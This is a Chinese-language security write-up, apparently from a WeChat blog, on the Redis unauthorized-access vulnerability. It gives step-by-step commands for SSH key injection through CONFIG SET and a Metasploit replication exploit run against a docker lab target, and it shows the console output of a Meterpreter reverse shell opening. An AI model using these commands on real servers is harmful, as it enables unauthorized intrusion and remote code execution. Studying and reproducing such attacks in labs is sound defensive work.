一、漏洞原理
1.未授权访问
Redis默认监听0.0.0.0:6379且无需身份验证。若管理员未配置密码认证(requirepass)或未限制访问来源(bind),攻击者可直连Redis服务并执行任意操作。
2.文件写入与配置篡改
SSH公钥注入:修改路径为/root/.ssh/,文件名设为authorized_keys,写入攻击者公钥,获取SSH无密登录权限。
Crontab定时任务:写入恶意命令至/etc/cron.d/目录,通过计划任务执行反弹Shell或下载恶意程序。
WebShell植入:若Redis进程有权访问Web目录,写入PHP等脚本文件,实现远程代码执行。
3.主从复制攻击
攻击者伪装为Redis主节点,诱使目标作为从节点同步数据。通过MODULE LOAD命令加载恶意.so模块,直接执行系统命令(需Redis 4.x以上支持模块功能)。
二、利用步骤(以SSH密钥为例)
连接Redis服务
redis-cli -h
修改持久化配置
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
写入公钥
SET payload "ssh-rsa AAAAB3NzaC1yc2E..."
SSH免密登录
ssh -i private_key root@
三、漏洞版本
1.Redis 2.x 至 5.0.5 之前的版本 包括 Redis 2.x、3.x、4.x 全系列,以及 5.x 系列中低于 5.0.5 的版本123。 这些版本默认绑定 0.0.0.0:6379,未强制启用密码认证(requirepass)或访问控制(如 bind 限制),导致未授权访问风险。
2.Redis 4.x/5.0.5 以下版本的主从复制漏洞 在 Redis 4.x 和 5.0.5 之前的版本中,攻击者可利用主从复制功能(MODULE LOAD)加载恶意 .so 模块,直接执行系统命令。
3.特殊条件下的更高版本 部分用户复现时发现,即使 Redis 6.0+ 版本未正确配置(如关闭 protected-mode 或未限制绑定 IP),也可能存在未授权访问风险,但需手动关闭安全机制(如 CONFIG SET protected-mode no)
四、漏洞复现
启动漏洞环境
docker-compose up -d
使用nmap扫描靶机6379端口获取服务版本
nmap -p6379 -sCV 192.168.1.138
该Redis版本存在未授权访问漏洞。
使用searchsploit搜索redis相关漏洞PoC
searchsploit redis
由输出可见,有关Redis未认证代码执行以及复制代码执行有关的EXP都在MSF中
启动metasploit,检索redis有关exp
search redis type:exploit
使用redis复制代码执行模块
use exploit/linux/redis/redis_replication_cmd_exec
该模块需要配置选项:RHOSTS、RPORT、SRVHOST、SRVPORT、LHOST、LPORT
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 8088
SRVPORT => 8088
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOST 192.168.1.138
RHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138
SRVHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.1.138:4444
[*] 192.168.1.138:6379- Compile redis module extension file
[+] 192.168.1.138:6379- Payload generated successfully!
[*] 192.168.1.138:6379- Listening on 192.168.1.138:8088
[*] 192.168.1.138:6379- Rogue server close...
[*] 192.168.1.138:6379- Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 172.24.0.2
[*] Meterpreter session 1 opened (192.168.1.138:4444 -> 172.24.0.2:43180) at 2024-12-16 08:15:02 -0500
[!] 192.168.1.138:6379- This exploit may require manual cleanup of './psfgqzed.so' on the target
meterpreter > getuid
Server username: redis
原文始发于微信公众号(智检安全):4-unacc(Redis未授权代码执行)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论